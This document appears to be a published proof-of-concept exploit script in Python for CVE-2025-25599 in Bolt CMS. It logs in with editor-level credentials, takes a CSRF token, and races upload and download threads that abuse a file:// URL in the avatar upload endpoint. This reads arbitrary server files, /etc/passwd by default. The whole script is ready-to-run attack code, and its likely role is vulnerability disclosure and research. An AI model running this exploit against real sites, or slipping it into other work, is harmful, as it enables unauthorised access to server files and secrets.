#!/usr/bin/python3 # William Moody (@bmdyy) # Certitude Consulting GmbH import time import threading import argparse import os import requests from bs4 import BeautifulSoup from urllib.parse import quote_plus from colorama import init as colorama_init, Fore, Style parser = argparse.ArgumentParser( description="Proof of concept script for CVE-2025-25599", ) parser.add_argument("-u", "--username", help="Username of a user who has the EDITOR role or higher", required=True) parser.add_argument("-p", "--password", required=True) parser.add_argument("-U", "--url", help="URL for website running Bolt CMS (e.g. http://127.0.0.1)", required=True) parser.add_argument("-f", "--file", help="(Optional) Full path of the file to download (Default: /etc/passwd)", default="/etc/passwd") parser.add_argument("-v", "--verbose", action="store_true", help="(Optional) Increase verbosity") parser.add_argument("-o", "--out", help="(Optional) Path to store downloaded file") args = parser.parse_args() # Normalize URL if args.url.endswith("/"): args.url = args.url[:-1] colorama_init() s = requests.Session() # Verify Bolt r = requests.get(f"{args.url}/bolt", allow_redirects=False) if r.status_code != 302: print(f"{Style.BRIGHT}{Fore.RED}[-]{Style.RESET_ALL} Could not find Bolt login page") exit(1) else: if args.verbose: print(f"{Style.BRIGHT}{Fore.GREEN}[+]{Style.RESET_ALL} Found Bolt login page") # Login as user r = s.get(f"{args.url}/bolt/login") soup = BeautifulSoup(r.text, features="lxml") _token = soup.find("input", {"name":"login[_token]"})["value"] if args.verbose: print(f"{Style.BRIGHT}{Fore.BLUE}[*]{Style.RESET_ALL} _token = {_token}") r = s.post( f"{args.url}/bolt/login", headers={"Content-Type":"application/x-www-form-urlencoded", "Referer":f"{args.url}/bolt/login"}, data=f"login[username]={quote_plus(args.username)}&login[password]={quote_plus(args.password)}&login[remember_me]=1&login[_token]={quote_plus(_token)}", ) if "admin__toolbar" not in r.text: print(f"{Style.BRIGHT}{Fore.RED}[-]{Style.RESET_ALL} Login failed") exit(1) else: print(f"{Style.BRIGHT}{Fore.GREEN}[+]{Style.RESET_ALL} Logged in as \"{args.username}\"") # Get CSRF token for profile edit page r = s.get(f"{args.url}/bolt/profile-edit") soup = BeautifulSoup(r.text, features="lxml") _csrf_token = soup.find("editor-image")[":csrf-token"].replace('"',"") if args.verbose: print(f"{Style.BRIGHT}{Fore.BLUE}[*]{Style.RESET_ALL} _csrf_token = {_csrf_token}") # Define threads exploited = False def t_upload(): global exploited while not exploited: r = s.post( f"{args.url}/bolt/async/upload-url?location=files&path=avatars", files={"url": (None, f"file://{args.file}"), "_csrf_token": (None, _csrf_token)} ) time.sleep(0) basename = os.path.basename(args.file) def t_download(): global exploited, basename while not exploited: r = requests.get( f"{args.url}/files/tmp/avatars{basename}" ) if "No route found for" not in r.text: print(f"{Style.BRIGHT}{Fore.GREEN}[+]{Style.RESET_ALL} Downloaded \"{args.file}\"{f" to \"{args.out}\"" if args.out else "\n"}") if args.out: with open(args.out, "w") as f: f.write(r.text) else: print(r.text) exploited = True time.sleep(0) # Start threads print(f"{Style.BRIGHT}{Fore.BLUE}[*]{Style.RESET_ALL} Starting upload and download threads...") t1 = threading.Thread(target=t_upload) t2 = threading.Thread(target=t_download) t1.start() t2.start() t1.join() t2.join()